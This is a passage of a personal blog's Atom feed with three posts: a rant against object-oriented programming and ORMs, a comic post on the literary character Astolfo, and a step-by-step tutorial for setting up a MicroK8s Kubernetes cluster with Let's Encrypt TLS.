  <p>The idea of structuring data using relations is appealing because no subjective, up-front decisions need to be made about the access paths that will later be used to query and process the data. In other words, the representation of your data in memory depends what you intend to do with it, and context-sensitive representation is not a feature of object-oriented design.</p>
  <p>Many ORM layers are also notably bad at deducing joins, and will fall back to dozens of individual queries for related objects. Another large part of the abstraction leak around ORMs is around both the caching and that DB-level performance tuning. You have to understand what code is going to generate what queries so that, at the very least, you can tune them by adding in the appropriate indexes in the database.</p>
  <p>All of a sudden, you're living in SQL land, examining query plans, etc. But if you decide that the change you need to make is to the SQL itself, the ORM layer suddenly gets in your way: you either have to bypass the ORM layer to drop into raw SQL, which at worst is hard to do and at best tends to massively reduce the value proposition of the ORM framework, or you have to try to tweak your code to get it to generate the query that you want, which is often frustrating and far more difficult than just writing the SQL yourself.</p>
  <p>This is not all to say that you <strong>have</strong> to write raw SQL instead of using something more friendly. A lot of these issues are actually mostly caused by object-oriented languages just being bad. If we look at an equivalent framework in an actual good language like <a href="https://github.com/elixir-ecto/ecto">Elixir's Ecto</a>, we can see that these problems magically go away because we're doing normal, simple data mapping instead of "obJEcT rElaTiONal MAppiNg". Ecto is just a DSL for writing querys to map to SQL, made possible because of the simple data structures and guarantees of functional programming.</p>
  <p>Peewee on the other hand, sucks big ween. Why does it run 50 million queries if I just want to join two tables together? Why does it overwrite Python expressions? <code class="prettyprint">|</code> is for bitwise operations not <code class="prettyprint">or</code>!? We already have an expression for <code class="prettyprint">or</code>: it's just <code class="prettyprint">or</code>! WHY DOESN'T IT USE <code class="prettyprint">or</code>!? WHY DOES IT USE <code class="prettyprint">&amp;</code> FOR <code class="prettyprint">and</code>? THIS COMPLETLY GOES AGAINST THE RULES OF PYTHON! AT LEAST TRY TO MAKE YOUR DSL BE SOMEWHAT SIMILAR TO THE ORIGINAL LANGUAGE LIKE HOLY SHIT.</p>
  <p>And that concludes my essay on why we should rewrite everything in Elixir.</p>
</blockquote>
<p>For context, we had used <a href="https://github.com/coleifer/peewee">Peewee</a> for a previous Python project and were considering using an ORM for another one. Luckily our terrible experience with Peewee turned us away from it.</p>
<p>Also can we talk about singletons? I thought we all agreed that global (mutable) variables are a shit idea and we should avoid them at all costs. But noooooo, singletons are okay because they're a design pattern from the "Gang of Four"! That makes them good and you should use them everywhere you see!</p>
<p>NO! Stop using singletons! Adding unnecessary state to your program is already bad enough, and adding global state (because that's what you're doing when you make a singleton) should go against the Geneva Conventions.</p>
<p>But I digress, I'm not actually here to just bash OOP.<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span> Since OOP is so popular, it must have some good things going for it right?</p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>Ignore the fact that it's all I've been doing so far.</span></aside>
<p>It sure does! Let's talk about some of the things that make me hate object-oriented programming less.</p>
<p>The first thing is how well it modularises programs and manages code reuse. I'm not actually going to talk about any OOP languages because none of them are any good, but we will look at languages that take cues from them.</p>
<p>Keeping with the Elixir circlejerk, let's talk about <code class="prettyprint">use</code>. In my opinion, Elixir has the best modularity of any functional language (that's not a Lisp) because of its inspiration from OOP in this regard (Elixir was made by a Ruby developer).</p>
<p>The <code class="prettyprint">use</code> macro is frequently used as an extension point and allows you to inject any code in the current module and bring external functionality into the lexical scope, often other modules.</p>
<p>For example, in order to write tests using the ExUnit framework, you use <code class="prettyprint">ExUnit.Case</code> module:</p>
<pre class="prettyprint linenums"><code class="elixir language-elixir"><span class="hljs-class"><span class="hljs-keyword">defmodule</span> <span class="hljs-title">AssertionTest</span></span> <span class="hljs-keyword">do</span>
  <span class="hljs-keyword">use</span> <span class="hljs-title class_">ExUnit</span>.<span class="hljs-title class_">Case</span>, <span class="hljs-symbol">async:</span> <span class="hljs-literal">true</span>

  test <span class="hljs-string">&quot;always pass&quot;</span> <span class="hljs-keyword">do</span>
    assert <span class="hljs-literal">true</span>
  <span class="hljs-keyword">end</span>
<span class="hljs-keyword">end</span>
</code></pre>
<p>Behind the scenes, <code class="prettyprint">use</code> requires the given module and then calls the <code class="prettyprint">__using__/1</code> callback on it allowing the module to inject some code into the current context. Some modules (for example, the above <code class="prettyprint">ExUnit.Case</code>, but also <code class="prettyprint">Supervisor</code> and <code class="prettyprint">GenServer</code>) use this mechanism to populate your module with some basic behaviour, which your module is intended to override or complete.</p>
<p>Functionally, this is very similar to the how classes can inherit from each other in a bad language and would be somewhat equivalent to doing this in Python:</p>
<pre class="prettyprint linenums"><code class="python language-python"><span class="hljs-keyword">import</span> unittest

<span class="hljs-keyword">class</span> <span class="hljs-title class_">TestIsTrue</span>(unittest.TestCase):

  <span class="hljs-keyword">def</span> <span class="hljs-title function_">test_pass</span>(<span class="hljs-params">self</span>):
      <span class="hljs-variable language_">self</span>.assertEqual(<span class="hljs-literal">True</span>, <span class="hljs-literal">True</span>)
</code></pre>
<p>However, note my use of the words "very similar" and "somewhat equivalent". The <code class="prettyprint">use</code> macro obviously isn't the same as inheritance - how could it be when there are no objects in Elixir. Instead <code class="prettyprint">use</code> is much more powerful than inheritance but also much easier to manage at the same time.</p>
<p>The previously stated "Gang of Four" design patterns book actively discourages against using inheritance and opting for object composition instead.<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span> This is because of how complicated the state of an object and how that state is accessed can become when it inherits from too many classes making the hierarchy a mess.<span class="footnote-link" id="footnote-3"><sup>(3)</sup></span> By this I mean the amount of unseen side effects of any object function increases dramatically when it inherits from something else.</p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>But they also say singletons are a good idea so who knows how much we can trust them.</span></aside>
<aside class="footnote-body" id="footnote-3-body"><sup>(3)</sup><span>It's been a while since I've read the book so I don't remember if that was exactly what they said. They did say not to use it though, and that was the first reason I remember. I'm actually probably getting confused with "Out of the Tar Pit".</span></aside>
<p>But why is it that when Elixir does something similar then it's okay? That's an easy question to answer: it's not an object-oriented language, it's a functional language. There is no state to make complicated. You are only "inheriting" functions and you always know what those functions are going to do because this is a functional language mate! There are no side effects!</p>
<p>So that was about making things modular to ease code reuse. Another thing I like about OOP is… actually that was all of it. That was the only thing I like about OOP and it was kinda about how a functional language does it better.</p>
<p>But in all honesty, while I really don't think OOP is any good, I do think the ideas OOP brings can be good. The architectural pattern of <a href="https://en.wikipedia.org/wiki/Entity_component_system">entity component systems</a> have been picking up steam in the game development world and is largely built on objects and multi-paradigm languages like Rust feature a slimmer set of object-oriented features, while avoiding some of the traditional OOP baggage.</p>
<p>I've never a major problem with OOP in Python (apart from ORMs) and I don't believe I have ever written a class before in JavaScript. So I don't think there's anything really inherently wrong with the paradigm and that the problem most likely stems from people overusing it, applying needless design patterns and adding unwanted complexity.</p>
<p>Java and C# just suck though, there's no hope for those languages.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Astolfo]]></title>
        <id>https://justin.duch.me/post/astolfo</id>
        <link href="https://justin.duch.me/post/astolfo"/>
        <updated>2020-07-24T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>You ever have one of those moments where you think of something really embarrassing, but it's okay because you only <strong>thought</strong> it so it's not like how you normally <strong>do</strong> something embarrassing, which means other people won't know and as such, won't judge you… But wait, what if people can read minds? I know there's like no evidence of it or whatever, but there also isn't any evidence that people <strong>can't</strong>. And what if everyone can read minds and they're just hiding it from you? What if all your friends secretly hate you and only talk to you to get your embarrassing moments and to share them with their real friends to laugh at? What if they're doing it <strong>right now</strong>? What if they're uploading this to justinisadumbdumb.com where all 7 billion users will get instantly notified and quickly log on to see what stupid thing you did or thought about. What if there's an entire industry of people who go through your life, finding every stupid thing about you and making TikTok compilations of them while making millions in ad revenue and sponsorship deals?</p>
<p>We're going to talk about one of those thoughts today. Here's a list of things I normally think about during the day, take a guess on what the "embarrassing" thought is.<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span></p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>If you read the title you cheated.</span></aside>
<ul>
<li>Functional programming.</li>
<li>Distributed systems.</li>
<li>Pourquoi je n'aime pas de L'Académie française.</li>
<li>How to make a good anti-gravity racing game.</li>
<li><a href="https://vimeo.com/95066828">James Mickens is infallible; I am lucky to recieve his wisdom.</a></li>
<li>Blog post ideas.</li>
<li>Wondering when I'm going to get burnt out and sick of writing code every day and how I'm supposed to get a different job if programming is my only skill.</li>
<li>Astolfo.</li>
<li>Also thinking how I'm ever supposed to "move up" in the world if I am actively adverse to taking any responsibilities greater than what I currently have and remaining as an engineer.</li>
<li>How to get GameFreak to add Bidoof to Pokèmon SwSh so I can finally play it.</li>
<li>Pondering why, when I don't have an engineering licence, I need to call myself an "engineer" to help make me feel important and special even though all I do is write CRUD apps by gluing libraries together.</li>
</ul>
<p>The answer is Astolfo. Give yourself a high-five if you got that correct.</p>
<p>Why do I think thinking about Astolfo is embarrassing? Well, when I show all my friends Astolfo, our conversations usually go like this:</p>
<blockquote>
  <p>Uhhh yeah, I guess that's a pretty cute anime girl.</p>
</blockquote>
<p>To which then I reply:</p>
<blockquote>
  <p>HAH! YOU FOOL! ASTOLFO IS ACTUALLY AN ANIME <strong>BOY</strong>! I TRICKED YOU! I TRICKED YOU WITH MY CLEVER BRAIN!</p>
</blockquote>
<p>At this point, they normally say:</p>
<blockquote>
  <p>Justin I don't give a shit. Why are you even showing me this? This is why I don't want to hang out with you anymore. God I hate you so much.</p>
</blockquote>
<p>I don't understand where I went wrong there. I think they just don't like Astolfo.</p>
<p>I asked my therapist about this, but she seemed more concerned as to why I would suddenly shove Astolfo into the face of my friends just to laugh at them when they make an easy mistake.</p>
<p>To that I answered:</p>
<p><img src="/img/goals.jpg" alt="This is a picture of Astolfo with the text &quot;my goals are beyond your understanding&quot; under it. If you are listening to this with a screen reader, then I'm very sorry you aren't able to see Astolfo. But trust me, he is a very cute boy." /></p>
<p>That was the last session I had with her.</p>
<p>Anyway, during the lockdown I feel as these "Astolfo thoughts" as I like to call them, have been growing and I realised that I don't actually know anything about Astolfo, so I took this time to learn.</p>
<p>Astolfo (also Astolpho, Estous, Estoult, Estouls) is a fictional character of the Matter of France where he is one of Charlemagne's paladins.<a href="#reference-1" class="reference-link" id="reference-1-backlink"><sup>[1]</sup></a> The Matter of France was one of the "Three Matters" repeatedly recalled in medieval literature with the others being the Matter of Britain, the legendary history of Great Britain, Brittany and King Arthur; and the Matter of Rome, which represented the medieval poets' interpretations of Ancient Greek and Roman mythology and history.</p>
<p>Huh, I did not expect that. I've always assumed Astolfo was an anime character. I feel kinda dumb now so here, let me show you another image from my Astolfo collection<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span>, it should hopefully clear up why Astolfo seems more from anime than the chanson de geste:</p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>Don't ask.</span></aside>
<p><img src="/img/goals2.jpg" alt="This is a picture of Jesus hugging Astolfo." /></p>
<p>Actually, no. Now I'm more confused.</p>
<p>I dunno, all the images I've seen of him look like they were made with modern drawing techniques. Did they even have colours in the 11th century? I guess the old times were more advanced than I thought. Either way, we should at least take a look at one of these stories.</p>
<p>The most popular work that Astolfo features in is the "Orlando Furioso" an Italian epic poem by Ludovico Ariosto which was first published in 1516. The poem is a sequel to Matteo Maria Boiardo's "Orlando Innamorato" and is considered one of the great monuments of renaissance literature, inspiring Vivaldi (with Orlando Furioso), Haydn (with Orlando Paladino), and Handel (with Rinaldo, Ariodante, Orlando, and Alcina).</p>
<p><a href="https://en.wikipedia.org/wiki/John_Harington_(writer)">Sir John Harington</a> was one of the earlier people to have translated it into English. Although most known for having invented England's first flushing toilet called the Ajax<span class="footnote-link" id="footnote-3"><sup>(3)</sup></span>, he was also a notable author and translator. His translation of Orlando Furioso was made because he annoyed the Queen who could have banished him for life but, in a friendlier way, sent him off to translate the poem never expecting to see him again. Spoilers: she did see him again.</p>
<aside class="footnote-body" id="footnote-3-body"><sup>(3)</sup><span>JS programmers rise up.</span></aside>
<p>I don't know how to read anything before the 1900s however, so we'll skip that and look at <a href="https://www.hup.harvard.edu/catalog.php?isbn=9780674060128">David R. Slavitt's translation</a> from 2009.</p>
<p>Okay so, when we first see Astolfo… he's a tree. Canto Secondo verse 53:</p>
<blockquote>
  <p>As they talked further, Ruggiero learned that Astolfo was the cousin of his dear Bradamante, and that he had been turned into the wretched tree that was growing here was even more upsetting. Therefore he yearned to help in any way. But it was clear that other than offering comfort and solace he could not do much to aid a myrtle tree.</p>
</blockquote>
<p>The next verse goes on:</p>
<blockquote>
  <p>You think it’s easy? No, it’s very hard to say nice things to a tree—about how its bark is worse than its bite? You can’t even send a card, unless it has that recycled paper mark. […]</p>
</blockquote>
<p>This fucking slaps dude. He turns into a tree! Funniest shit I've read all year.</p>
<p>I woudn't call myself a very big reader (of fiction), but the only genre I try to actively avoid is YA so I'm a little surprised I haven't tried to read stuff like this before. But honestly, I genuinely enjoyed this, it's full of wit and character in a very different way to what I normally read.</p>
<p>The only problem I have is that I have yet to see any mention of Astolfo's crossdressing. It seems like a big thing since all of the images I have of him make him look like a girl. Although maybe that was all established previously in the Chanson de Roland extended universe and Ariosto didn't feel the need to expand upon it.</p>
<p>But I think I've cured my embarrassment for my Astolfo thoughts. This isn't anything to be embarrassed about, it's a great piece. And thank goodness Astolfo isn't actually from an anime. It appears I was the one who was tricked instead of my friends this time.</p>
<p>Now, instead of building up the courage to explain to my parents that instead of going outside, I spend all my time looking at lewd pics of anime characters, I can say I spend all my time looking at lewd pics of classical literature characters. Much better.</p>
<hr />
<div class="reference" id="reference-1"><a class="reference-link" href="#reference-1-backlink"><sup>[1]</sup></a>: https://en.wikipedia.org/wiki/Astolfo</div>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Kubernetes Is Not The Post Apocalyptic Hellscape I Was Told It Would Be]]></title>
        <id>https://justin.duch.me/post/kubernetes_is_ez</id>
        <link href="https://justin.duch.me/post/kubernetes_is_ez"/>
        <updated>2020-07-19T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>One cold winter night, I was looking at the CPU and bandwidth graphs DigitalOcean gives for the VPS' I rent from them. Suddenly, I saw a huge spike lasting about 10 minutes. And by huge, I mean kinda small (but not normal, I don't get a lot of traffic on this blog). It was about the same as I get from pushing a new deployment. The blog was completely unharmed and still running fine, but I wanted to see what was doing it.</p>
<p>A quick look at the Nginx logs, I found hundreds of requests from ~20-50 IP addresses. Checking those IP addresses showed that they came from other servers (and most of them were also TOR nodes). So I didn't accidentally get famous, and instead I was a witness to one of the most pathetic DDoS attempts I've ever seen.</p>
<p>But after that, I found myself with a strange urge to learn Kubernetes. To do so, I bought the book "<a href="https://www.manning.com/books/kubernetes-in-action-second-edition">Kubernetes in Action</a>", which isn't actually finished yet. But as it turns out, I didn't really need all of it yet because after reading the third chapter, I decided it was a good idea to move this blog onto Kubernetes.</p>
<p>Now, is moving such a small application onto an incredibly complicated environment allowed by the laws of physics? Yes, it is technically possible, you are seeing proof of it right now. But is it allowed by the laws of human decency? Probably not. So then why am I doing it? That's a very good question.</p>
<p>When making a Kubernetes cluster most people go for a managed service, such as Google Kubernetes Engine (GKE), Amazon Elastic Kubernetes Service (EKS), Azure Kubernetes Service (AKS), or even DigitalOcean's Kubernetes product. There's a big problem for me here however: I don't like Google, Amazon, or Microsoft. And I've also been slowly moving my hosting away from DigitalOcean.<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span></p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>Nothing wrong with them, I just prefer my new provider.</span></aside>
<p>So this just left me to manage my own cluster. The section for deploying a multi-node cluster from scratch in the book starts off like this:</p>
<blockquote>
  <p>Until you get a deeper understanding of Kubernetes, I strongly recommend that you don’t try to install a multi-node cluster from scratch. If you are an experienced systems administrator, you may be able to do it without much pain and suffering, but most people may want to try one of the methods described in the previous sections first. Proper management of Kubernetes clusters is incredibly difficult. The installation alone is a task not to be underestimated.</p>
</blockquote>
<p>Encouraging words right here.</p>
<p>I wouldn't call myself an "experienced systems administrator", but I write JavaScript for living so I encounter pain and suffering on a daily basis, how bad could this be?</p>
<p>Today, I'm going to talk you through how I setup a multi-node Kubernetes cluster to host this very website. To make life easier we're going to use <a href="https://microk8s.io">MicroK8s</a> instead of a bare metal Kubernetes, but all of this should still work on a normal Kubernetes deployment.</p>
<h2 id="provisionservers">Provision Servers</h2>
<p>I'm renting my VPS' from Hetzner now, so these are the steps to do it for them. You can probably do the same from whoever you're hosting from (the steps are going to be a bit different), otherwise if you can't find a way to do the same things, your provider isn't very good and you should probably change.</p>
<p>Here's what you're going to need:</p>
<ul>
<li>A <a href="https://www.hetzner.com/cloud">Hetzner Cloud</a> account.</li>
<li>A Hetzner Cloud project for your Kubernetes cluster.</li>
<li>A configured SSH key for your Hetzner Cloud project.</li>
<li>An API token for your Hetzner Cloud project.</li>
<li>A local <a href="https://github.com/hetznercloud/cli">hcloud</a> CLI install.</li>
</ul>
<p>You will also need to know basic <a href="https://kubernetes.io/docs/concepts/">Kubernetes concepts</a> because I'm not going to explain them. There's actually quite a lot of things you need to know, so go read the book first or something. And because we are using MicroK8s, this was done on Ubuntu 20.04 but previous versions of Ubuntu should work too.</p>
<p>Assuming you got hcloud CLI installed with a context created for your project, we're going to first create the network and subnet. In the example below, I'm defining the network to have the IP range 10.44.0.0/16. The subnet is in the network zone eu-central with a definition of 10.44.0.0/24.</p>
<pre class="prettyprint linenums"><code class="bash language-bash">$ hcloud network create --name &lt;network_id&gt; --ip-range 10.44.0.0/16
$ hcloud network add-subnet &lt;network_id&gt; --network-zone eu-central --<span class="hljs-built_in">type</span> server --ip-range 10.44.0.0/24
</code></pre>
<p>Au fait, remember to replace the variables in <code class="prettyprint">&lt;&gt;</code>. So for this you could call <code class="prettyprint">&lt;network_id&gt;</code> some thing like: <code class="prettyprint">network-0</code>.</p>
<p>Next is creating the servers, we going to make three of them: 1 master and 2 nodes.</p>
<pre class="prettyprint linenums"><code class="bash language-bash">$ hcloud server create --<span class="hljs-built_in">type</span> cx11 --name master-0 --image ubuntu-20.04 --ssh-key &lt;ssh_key_id&gt; --network &lt;network_id&gt;
$ hcloud server create --<span class="hljs-built_in">type</span> cx11 --name node-0 --image ubuntu-20.04 --ssh-key &lt;ssh_key_id&gt; --network &lt;network_id&gt;
$ hcloud server create --<span class="hljs-built_in">type</span> cx11 --name node-1 --image ubuntu-20.04 --ssh-key &lt;ssh_key_id&gt; --network &lt;network_id&gt;
</code></pre>
<p>Make sure to note down the IP addresses for each server when they're created.</p>
<p>After we have the servers, we will log into each one, apply updates and install MicroK8s. SSH to the IP address of the server as root, eg:</p>
<pre class="prettyprint linenums"><code class="bash language-bash">$ ssh root@&lt;master-0_ip&gt;
</code></pre>
<p>And run the following:</p>
<pre class="prettyprint linenums"><code class="bash language-bash">root@master-0:~$ apt update &amp;&amp; apt -y upgrade
root@master-0:~$ snap install microk8s --classic
root@master-0:~$ microk8s.enable dns storage ingress
</code></pre>
<p>Do this for <code class="prettyprint">node-0</code> and <code class="prettyprint">node-1</code>.</p>
<h2 id="createthecluster">Create The Cluster</h2>
<p>Now that we have installed MicroK8s, we create a cluster for our three machines using the <code class="prettyprint">microk8s add-node</code> and <code class="prettyprint">microk8s join</code> commands. SSH onto master-0 and run the following:</p>
<pre class="prettyprint linenums"><code class="bash language-bash">root@master-0:~$ microk8s add-node
Join node with: microk8s <span class="hljs-built_in">join</span> 95.216.140.255:25000/1e94a7b6088c046dee9c8c6cdb04e751

If the node you are adding is not reachable through the default interface you can use one of the following:
 microk8s <span class="hljs-built_in">join</span> 95.216.140.255:25000/1e94a7b6088c046dee9c8c6cdb04e751
 microk8s <span class="hljs-built_in">join</span> 10.1.38.0:25000/1e94a7b6088c046dee9c8c6cdb04e751
</code></pre>
<p>Copy the <code class="prettyprint">microk8s join</code> command and run it on one of the nodes. In this case we SSH into node-0 and run:</p>
<pre class="prettyprint linenums"><code class="bash language-bash">root@node-0:~$ microk8s <span class="hljs-built_in">join</span> 95.216.140.255:25000/1e94a7b6088c046dee9c8c6cdb04e751
</code></pre>
<p>Do the same process for node-1 (you have to run <code class="prettyprint">microk8s add-node</code> on master-0 again).</p>
<p>You might have noticed that I used the external IP for the node <code class="prettyprint">95.216.140.255</code> instead of the internal one <code class="prettyprint">10.1.38.0</code> which we made from our network in the first step. Why didn't I use the internal one you ask?</p>
<p>It's cus I'm dumb and I forgot I made it. You should probably use the internal IP instead.</p>
<p>Anyway, to make sure the nodes are joined, use this command:</p>
<pre class="prettyprint linenums"><code class="bash language-bash">root@master-0:~$ kubectl get nodes
NAME             STATUS   ROLES    AGE   VERSION
&lt;node-1_ip&gt;      Ready    &lt;none&gt;   1h    v1.18.4-1+6f17be3f1fd54a
&lt;node-0_ip&gt;      Ready    &lt;none&gt;   1h    v1.18.4-1+6f17be3f1fd54a
master-0         Ready    &lt;none&gt;   1h    v1.18.4-1+6f17be3f1fd54a
</code></pre>
<h2 id="createadockerbuild">Create A Docker Build</h2>
<p>At this point I remembered that I don't have a Docker build for this blog.</p>
<p>So I made one.</p>
<p>I'm not going to explain how to do this. You should know how to do this. Who doesn't know Docker in this day and age?</p>
<h2 id="deploytheapplication">Deploy The Application</h2>
<p>First, we will need to make a deployment. Here is mine:</p>
<pre class="prettyprint linenums"><code class="yaml language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">apps/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Deployment</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">blog-deployment</span>
  <span class="hljs-attr">labels:</span>
    <span class="hljs-attr">app:</span> <span class="hljs-string">blog</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">replicas:</span> <span class="hljs-number">3</span>
  <span class="hljs-attr">selector:</span>
    <span class="hljs-attr">matchLabels:</span>
      <span class="hljs-attr">app:</span> <span class="hljs-string">blog</span>
  <span class="hljs-attr">template:</span>
    <span class="hljs-attr">metadata:</span>
      <span class="hljs-attr">labels:</span>
        <span class="hljs-attr">app:</span> <span class="hljs-string">blog</span>
    <span class="hljs-attr">spec:</span>
      <span class="hljs-attr">containers:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">blog</span>
          <span class="hljs-attr">image:</span> <span class="hljs-string">beanpupper/blog:latest</span>
          <span class="hljs-attr">ports:</span>
            <span class="hljs-bullet">-</span> <span class="hljs-attr">containerPort:</span> <span class="hljs-number">3000</span>

<span class="hljs-meta">---</span>
<span class="hljs-attr">apiVersion:</span> <span class="hljs-string">v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Service</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">blog-svc</span>
  <span class="hljs-attr">labels:</span>
    <span class="hljs-attr">app:</span> <span class="hljs-string">blog</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">ports:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">port:</span> <span class="hljs-number">80</span>
      <span class="hljs-attr">targetPort:</span> <span class="hljs-number">3000</span>
      <span class="hljs-attr">protocol:</span> <span class="hljs-string">TCP</span>
      <span class="hljs-attr">name:</span> <span class="hljs-string">http</span>
  <span class="hljs-attr">selector:</span>
    <span class="hljs-attr">app:</span> <span class="hljs-string">blog</span>
</code></pre>
<p>I've called this <code class="prettyprint">blog.yaml</code>. Now we create the deployment and service with:</p>
<pre class="prettyprint linenums"><code class="bash language-bash">root@master-0:~$ microk8s kubectl apply -f blog.yaml
</code></pre>
<p>Because we are not using a managed cluster, we don't get load balancing and proxy forwarding by default. Instead we will setup something called <a href="https://kubernetes.io/docs/concepts/services-networking/ingress/#ingress-class">Ingress</a>. Make another file called <code class="prettyprint">ingress.yaml</code>:</p>
<pre class="prettyprint linenums"><code class="yaml language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">networking.k8s.io/v1beta1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Ingress</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">ingress</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">backend:</span>
    <span class="hljs-attr">serviceName:</span> <span class="hljs-string">blog-svc</span>
    <span class="hljs-attr">servicePort:</span> <span class="hljs-number">80</span>
</code></pre>
<p>Apply it as well:</p>
<pre class="prettyprint linenums"><code class="bash language-bash">root@master-0:~$ microk8s kubectl apply -f ingress.yaml
</code></pre>
<p>That's all, go to the IP of master-0 in the browser and you should see it.</p>
<h2 id="settinguptls">Setting Up TLS</h2>
<p>Now we need to set up SSL certs. I've always just used Lets Encrypt. Make sure your DNS A record is pointing to master-0.</p>
<p>In master-0, enable Helm for MicroK8s and initalise it:</p>
<pre class="prettyprint linenums"><code class="bash language-bash">root@master-0:~$ microk8s <span class="hljs-built_in">enable</span> helm
root@master-0:~$ microk8s helm init
</code></pre>
<p>Create the namespace for cert-manager:</p>
<pre class="prettyprint linenums"><code class="bash language-bash">root@master-0:~$ microk8s kubectl create namespace cert-manager
</code></pre>
<p>Add the Jetstack Helm repository and update cache:</p>
<pre class="prettyprint linenums"><code class="bash language-bash">root@master-0:~$ microk8s helm repo add jetstack https://charts.jetstack.io
root@master-0:~$ microk8s helm update
</code></pre>
<p>Install the <code class="prettyprint">CustomResourceDefinition</code> resources using kubectl:</p>
<pre class="prettyprint linenums"><code class="bash language-bash">root@master-0:~$ microk8s kubectl apply --validate=<span class="hljs-literal">false</span> -f https://github.com/jetstack/cert-manager/releases/download/v0.15.1/cert-manager.crds.yaml
</code></pre>
<p>Install the <code class="prettyprint">cert-manager</code> Helm chart:</p>
<pre class="prettyprint linenums"><code class="bash language-bash">root@master-0:~$ microk8s helm install \
  --name cert-manager jetstack/cert-manager \
  --namespace cert-manager \
  --version v0.15.1
</code></pre>
<p>Create a cluster issuer <code class="prettyprint">cluster-issuer.yaml</code>, and remember to update the email address with a yours instead.</p>
<pre class="prettyprint linenums"><code class="yaml language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">cert-manager.io/v1alpha2</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">ClusterIssuer</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">letsencrypt</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">acme:</span>
    <span class="hljs-attr">server:</span> <span class="hljs-string">https://acme-v02.api.letsencrypt.org/directory</span>
    <span class="hljs-attr">email:</span> <span class="hljs-string">&lt;email_address&gt;</span>
    <span class="hljs-attr">privateKeySecretRef:</span>
      <span class="hljs-attr">name:</span> <span class="hljs-string">letsencrypt</span>
    <span class="hljs-attr">solvers:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">http01:</span>
          <span class="hljs-attr">ingress:</span>
            <span class="hljs-attr">class:</span> <span class="hljs-string">nginx</span>
</code></pre>
<p>And apply it:</p>
<pre class="prettyprint linenums"><code class="bash language-bash">root@master-0:~$ microk8s kubectl apply -f cert-issuer.yaml
</code></pre>
<p>Now we need to update <code class="prettyprint">ingress.yaml</code>:</p>
<pre class="prettyprint linenums"><code class="yaml language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">extensions/v1beta1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Ingress</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">ingress</span>
  <span class="hljs-attr">annotations:</span>
    <span class="hljs-attr">kubernetes.io/ingress.class:</span> <span class="hljs-string">nginx</span>
    <span class="hljs-attr">cert-manager.io/cluster-issuer:</span> <span class="hljs-string">letsencrypt</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">tls:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">hosts:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-string">blog.justinduch.com</span>
      <span class="hljs-attr">secretName:</span> <span class="hljs-string">tls-secret</span>
  <span class="hljs-attr">rules:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">host:</span> <span class="hljs-string">blog.justinduch.com</span>
      <span class="hljs-attr">http:</span>
        <span class="hljs-attr">paths:</span>
          <span class="hljs-bullet">-</span> <span class="hljs-attr">backend:</span>
              <span class="hljs-attr">serviceName:</span> <span class="hljs-string">blog-svc</span>
              <span class="hljs-attr">servicePort:</span> <span class="hljs-number">80</span>
</code></pre>
<p>Apply it again:</p>
<pre class="prettyprint linenums"><code class="bash language-bash">root@master-0:~$ microk8s kubectl apply -f ingress.yaml
</code></pre>
<p>To verify that the certificate was created successfully, use:</p>
<pre class="prettyprint linenums"><code class="bash language-bash">root@master-0:~$ microk8s kubectl get certificate
NAME         READY   SECRET       AGE
tls-secret   True    tls-secret   11m
</code></pre>
<p>And verify <code class="prettyprint">READY</code> is True, which may take several minutes.</p>
<p>With that, we are done. Normally I'd say to go onto the site to check if it worked, but if already you're here then it obviously did 😄.</p>
<p>This was very straightforward and to be honest, I would not have called doing this to have been filled with pain and suffering. It only took a weekend to do, one to read up on all the concepts and another to implement them.</p>
<p>I don't know how much of it was because of MicroK8s, but I've looked at how to do it normally and the biggest difference was just in adding the nodes to the cluster. Although, I can definitely see how this could become too much if the scope was larger.</p>
<p>Even though the servers I put this on are pretty bad, I'm curious to see if the performance has been improved in any way. But I can't really be bothered to do any load testing now.</p>
<p>Overall, Kubernetes gets a K8/10.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
